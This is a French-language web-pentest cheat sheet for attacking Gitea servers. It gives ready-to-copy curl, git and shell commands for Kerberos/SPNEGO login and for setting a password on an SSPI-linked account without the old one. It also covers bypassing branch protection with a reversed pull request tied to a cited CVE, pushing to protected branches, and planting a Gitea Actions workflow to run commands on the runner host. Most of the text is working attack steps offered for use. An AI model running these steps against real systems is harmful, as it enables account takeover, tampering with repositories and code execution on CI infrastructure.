Pentest Web

Gitea Abuse

De l'auth SPNEGO à l'exécution de commandes via Actions, en passant par un bypass de branch protection.

Auth SPNEGO/Kerberos

Copy command
curl -s --negotiate -u : -c jar.txt 'http://gitea.$DOMAIN:3000/user/login?auth_with_sspi=1'

Description: Gitea supporte l'auth SSPI/SPNEGO : avec un TGT Kerberos valide déjà en cache (klist), --negotiate authentifie directement sans mot de passe, depuis un hôte capable de résoudre/joindre le KDC.

Copy command
curl -s --negotiate -u : http://gitea.$DOMAIN:3000/api/v1/user

Description: Vérifier l'identité obtenue et le flag is_admin avant d'aller plus loin.

Fixer un mot de passe sans l'ancien (compte SSPI)

Copy command
curl -s -b jar.txt -c jar.txt -X POST http://gitea.$DOMAIN:3000/user/settings/account -d "_csrf=$CSRF&password=$NEWPASS&retype=$NEWPASS"

Description: Un compte créé/lié via SSPI n'a jamais eu de mot de passe local : le formulaire de changement ne demande donc pas l'ancien. Se fixer un mot de passe donne un accès réutilisable en Basic Auth / git HTTP, sans dépendre du ticket Kerberos à chaque requête.

Copy command
curl -s -u '$USER:$NEWPASS' http://gitea.$DOMAIN:3000/api/v1/user | jq -r .login

Description: Valider que le nouveau mot de passe fonctionne avant de continuer, plus simple à rejouer via un pivot (proxychains) qu'un TGT.

Bypass branch protection : PR inversée (CVE-2026-26231)

Copy command
# fork le repo cible -> ouvrir une PR avec BASE = notre fork et HEAD = le repo upstream, cocher allow_maintainer_edit=true

Description: Gitea (≤ 1.25.x) lie 'Allow edits from maintainers' à la création de la PR sans vérifier que l'auteur peut réellement écrire sur le HEAD. En inversant BASE/HEAD, on se fait passer pour mainteneur du dépôt upstream, ce qui autorise ensuite un push direct dessus malgré une permission pull-only.

Copy command
git push http://$USER:$PASS@gitea.$DOMAIN:3000/$ORG/$REPO.git HEAD:main

Description: Une fois la PR inversée créée avec le flag maintainer-edit, le push direct sur la branche protégée passe. Confirme l'écriture avec un commit anodin avant d'y déposer un vrai payload.

RCE via Gitea Actions (host executor)

Copy command
mkdir -p .gitea/workflows && printf 'name: CI\non: [push]\njobs:\n  ci:\n    runs-on: ubuntu\n    steps:\n      - run: id\n' > .gitea/workflows/main.yml

Description: Si Actions est activé sur le dépôt (has_actions=true) et qu'on peut y pousser (accès direct ou via le bypass PR ci-dessus), un simple workflow déclenché au push exécute nos commandes sous l'identité du runner, pas la nôtre.

Copy command
# committer un changement réellement nouveau à chaque essai (ex: horodatage dans un fichier) sinon Gitea ne redéclenche pas le run

Description: Un push sans diff de contenu (même message de commit différent mais même arbre) peut ne pas redéclencher le workflow selon la config : inclure un nonce/timestamp garantit un nouveau run à chaque itération.

Copy command
# runs-on: ubuntu sans image Docker dédiée -> host executor : le job tourne directement sur l'hôte du runner, pas dans un conteneur isolé

Description: Vérifier le contexte d'exécution (whoami, pwd, variables d'env) avant de conclure : un runner en 'host executor' donne un accès direct au système qui l'héberge, potentiellement un compte de service à privilèges intéressants (ex: joint AD).